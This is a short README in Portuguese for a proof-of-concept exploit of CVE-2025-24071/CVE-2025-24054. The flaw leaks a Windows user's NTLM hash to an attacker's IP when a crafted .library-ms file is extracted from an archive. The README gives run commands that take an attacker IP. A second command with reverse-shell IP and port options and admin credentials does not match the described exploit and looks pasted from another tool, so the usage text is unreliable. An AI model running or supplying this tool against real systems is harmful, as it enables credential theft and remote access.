CVE-2025-24071_PoC

CVE-2025-24071: Vazamento de Hash NTLM via Extração de RAR/ZIP e Arquivo .library-ms

O Windows Explorer inicia automaticamente uma solicitação de autenticação SMB quando um arquivo .library-ms é extraído de um arquivo .rar, resultando na divulgação do hash NTLM. O usuário não precisa abrir ou executar o arquivo — apenas extraí-lo é suficiente para acionar o vazamento.

uso

>>python poc.py

>>enter file name: your file name

>>enter IP: attacker IP

>>python3 poc.py --url http://domainname.com --user admin --password password --reverse-ip 10.10.10.10 --reverse-port 8888

atualização:

Atualização: A Microsoft alterou seu número de CVE. O número de CVE anteriormente definido pela Microsoft, CVE-2025-24071, foi atualizado para CVE-2025-24054.🤷‍♂